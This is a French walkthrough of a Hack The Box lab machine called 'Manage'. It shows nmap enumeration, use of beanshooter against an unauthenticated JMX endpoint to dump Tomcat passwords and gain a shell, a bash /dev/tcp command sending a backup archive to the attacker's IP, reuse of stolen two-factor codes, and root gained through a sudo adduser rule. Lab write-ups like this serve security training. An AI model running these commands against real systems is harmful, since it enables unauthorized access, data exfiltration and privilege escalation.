Skip to the content.

Foothold

On commence par nmap

nmap -sCV -T4 $box -oN nmap.out

nous montre des ports peu orthodoxes.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 15:52 -0400
Nmap scan report for manage.htb (10.129.234.57)
Host is up (0.033s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open  java-rmi Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:36971
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
8080/tcp open  http     Apache Tomcat 10.1.19
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/10.1.19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.08 seconds

On se connecte sur le site et on trouve un site apache tomcat pas configuré. En revanche, même avec la version du tomcat (10.1.19), on ne trouve aucune vulnérabilité. Via la page de hacktricks sur le pentest de java-rmi, on trouve une page github pour un script qui permette de pentest tout ça.

Sur les conseils de hackthebox on utilise beanshooter pour énumérer les utilisateurs.

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar enum manage.htb 2222

et on trouve

[+] Checking available bound names:
[+]
[+]     * jmxrmi (JMX endpoint: 127.0.1.1:36803)
[+]
[+] Checking for unauthorized access:
[+]
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+]     - 189 MBeans are currently registred on the MBean server.
[+]       Listing 167 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)

...

[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]
[+] Enumerating tomcat users:
[+]
[+]     - Listing 2 tomcat users:
[+]
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:
[+]                        Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:
[+]                        Users:type=Role,rolename="role1",database=UserDatabase

On voit aussi que jmx ne nécessite pas de creds pour se connecter. On commence par déployer un mbean sur la cible

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar standard manage.htb 2222 tonka

Et ensuite on l’utilise pour obtenir un shell.

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka shell manage.htb 2222   

Et avec ça on a notre premier accès.

Privilege Escalation to user

Avec cet utilisateur on peut voir rapidement le flag /opt/tomcat/user.txt, voilà notre premier flag.

Le premier accès obtenu, on commence par chercher à obtenir notre accès utilisateur. En regardant dans les folders de /home, on voit que l’un des deux utilisateurs a un fichier tar.gz stocké. On lance un listener sur notre machine

nc -nlvp 4443 > backup.tar.gz

Et on se l’envoie

bash -c 'cat /home/useradmin/backups/backup.tar.gz >& /dev/tcp/10.10.15.35/4443 0>&1'

Sur la machine on extrait le fichier et on lit le contenu.

On tente d’utiliser le fichier .ssh/id_ed25529 pour se connecter mais le ssh demande un code de vérification. On fouille un peu et on voit que l’on a aussi obtenu un fichier .google_authenticator. En regardant à l’intérieur on voit une suite de codes. on tente d’en rentrer un et bingo, on obtient un accès user!

PrivEsc to root

Evidemment on commence par un

sudo -l

Et on trouve assez vite que l’on a le droit d’ajouter un utilisateur, quelle aubaine!

Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

En fait il faut le savoir, ubuntu a un utiliser admin qui a par défaut toutes les permissions de root, mais si l’on regarde ici, on ne trouve pas de tel utilisateur, on peut donc le créer et facilement accéder à un utilisateur avec les droits root.

Et voilà, on a nos deux flags